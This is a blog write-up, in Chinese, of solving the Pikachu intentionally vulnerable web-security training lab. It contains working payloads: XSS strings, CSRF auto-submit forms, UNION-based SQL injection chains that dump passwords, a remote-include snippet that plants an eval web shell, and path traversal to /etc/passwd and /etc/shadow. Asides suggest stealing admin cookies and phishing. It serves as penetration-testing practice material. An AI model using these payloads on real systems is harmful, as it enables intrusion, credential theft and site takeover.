iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

Pikachu 漏洞平台通关记录

Pikachu 漏洞平台通关记录

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

Github:https://github.com/zhuifengshaonianhanlu/pikachu

暴力破解

基于表单

burp 抓包使用 Clusterbomb 类型爆破

图片

验证码绕过(on server)

抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上

图片

验证码绕过(on client)

验证码是 js 前端校验 直接抓包 无视 js

图片

token绕过

攻击类型选择:音叉

图片

打开Intruder->Options设置如下参数

请求线程数选择:1

图片

图片

重定向选择:总是

图片

Payloads 里面选择 递归搜索

图片

图片

Cross-Site Scripting

反射性xss(get)

发现有 20 个字符限制,直接改为 100 即可

图片

题目是get看了下url发现提交的参数在url后面直接在url后面补全也行。

图片

反射性xss(post)

这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是admin/123456

登录后直接输入payload:<script>alert(1)</script>

图片

存储型xss

1
payload:<script>alert(1)</script>

存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出xss数据所以会弹框
可以搭配一些xss在线平台 找一些有存储型xss漏洞的网站钓管理员cookies

DOM型xss

提交payload后出现一个what do you see?点击后403

图片

f12可以看到我们提交的数据变成了超链接

图片

看下js代码

1
2
3
4
5
6
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>

直接闭合使用onclick弹出

图片

1
2
3
payload
' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

DOM型xss-x

1
2
3
4
5
6
7
8
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>

这题加了个正则替换把空格替换成了+号,payload同上

1
2
3
payload
' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

xss盲打

盲打就是在一切能插入的地方插入xss代码

看了下提示 需要登录后台,xss插入成功

1
payload:<script>alert(1)</script>

图片

图片

xss过滤

输入 <script>alert(1)</script>

图片

输入 alert(1)输入123 返回了别说这些'123'的话,不要怕,就是干!

图片

应该是过滤了<script>*</scipt

大小写混写直接绕过

图片

试了下其他方法也绕过了 更加确信过滤了<script>*</scipt

图片

1
2
payload: <scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")>

xss之htmlspecialchars

htmlspecialchars :将特殊字符转换为 HTML 实体

字符替换后
&(& 符号)&
“(双引号)",除非设置了ENT_NOQUOTES**
‘(单引号)设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者'(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。
<(小于)<
>(大于)>

htmlspecialchars 默认不对单引号继续进行转换

图片

1
payload:' onclick='alert(1)'>

xss之href输出

1
2
payload:javascript: alert(1);
这段代码前端开发还是挺常用的 javascript:;

图片

xss之js输出

找到了这段js 直接闭合

图片

1
payload:'; alert(1);//

图片

CSRF

CSRF(get)

点击提示给了一些账号密码,随便登录一个(我登录的vince)点击修改信息,看看请求信息。

图片

图片

我们发现是get请求 提交了些参数 构造一下发给其他人

1
csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit

方便区分 我用无痕模式 登录allen用户

图片

然后访问我们构造的链接,可以看到信息变了

图片

现实中可以 用图片或者超链接来诱骗点击。

CSRF(post)

和上一关一样 只不过get变成了post

1
sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

图片

我们构造一下

1
sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit

写个html自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<title></title>
<script>
setTimeout(function() {
         document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
</head>
<body >
    <form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
        <p class="per_name">姓名:allen</p>
        <p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
        <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>    
        <p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p> 
        <p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p> 
        <input class="sub" type="submit" name="submit" id="submit" value="submit">
        </form>
</body>
</html>

图片

CSRF Token

修改信息新加了动态Token 有个骚操作 但是存在跨域问题 所以做不出

图片

Sql Inject

数字型注入(post)

直接burp抓包用重发器

图片

1
2
3
4
5
6
7
查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users 

字符型注入

1
2
3
4
5
6
查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #

搜索型注入

1
2
3
4
5
6
查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #

xx型注入

1
2
3
4
5
6
查字段:1') order by 2 #
查当前库名:1'union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1'union select 1,group_concat(password) from pikachu.users #

RCE

exec “ping”

命令拼接符

windows
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B
linux
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B
;A;B 执行完A执行B
%0a换行符
%0d回车符

图片

可以直接用cmd新建用户之类的

exec “evel”

PHP命令执行函数

1
system、exec、shell_exec、passthru、pcntl_exec、popen、proc_popen等

图片

File Inclusion

File Inclusion(local)

1
2
3
4
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

isset 检测变量是否存在,然后同时filename不为空,GET后直接包含进了include
直接修改filename参数即可

图片

File Inclusion(remote)

PHP的配置选项allow_url_includeON的话,则include/require函数可以加载远程文件

这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制

txt写段代码,然后使用远程包含漏洞可以自动创建一句话php文件

1
2
3
4
<?php
$shell "<?php @eval(@\$_POST['cmd']); ?>";
file_put_contents('./shell.php',$shell);
?>

请求之后发现页面没报错 同时目录下新建了个shell.php,同时一句话也写入了

图片

图片

Unsafe Filedownload

Unsafe Filedownload

可以构造一下下载的文件通过../../控制目录

例如:http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md

如果是linux的话还可以下载../../../../../etc/passwd../../../../../etc/shadow

Unsafe Fileupload

之前做过upload-labshttps://5ime.cn/upload-labs.html

client check

上传了一个php文件 弹窗警告 感觉应该是js前端校验

图片

禁用js会后上传成功

图片

MIME type

上传php出现提示文字

图片

直接burp抓包修改content-Type绕过

图片

getimagesize

这关直接参考我之前的文章

生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3

getimagesize绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3

Over Permission

水平越权

A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。

图片

修改username的参数值 即可查看其他用户的信息

图片

垂直越权

A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。

我们浏览器登录admin用户 复制添加用户的url地址 使用无痕窗口登录普通用户pikachu,访问刚才复制的添加用户的url地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面

图片

图片

此时我们用admin查看用户列表 发现刚才我们使用pikachu新建的用户增加成功了。

图片

../../

目录遍历

图片

如果是linux还可以遍历../../../../etc/shadow../../../../etc/passwd

敏感信息泄露

IcanseeyourABC

直接在注释找到了账号密码

图片

PHP反序列化 待写

XXE 待写

URL重定向

不安全的URL跳转

f12看到第三个有个参数 我们直接构造http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com

图片

发现网页跳转到了百度

图片

这种漏洞用来钓鱼挺不错)

SSRF

SSRF(curl)

我们直接构造http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

图片

或者用file协议

图片

或者端口

图片

SSRF(file_get_content)

同上

本文作者:iami233
本文链接:https://5ime.cn/pikachu.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可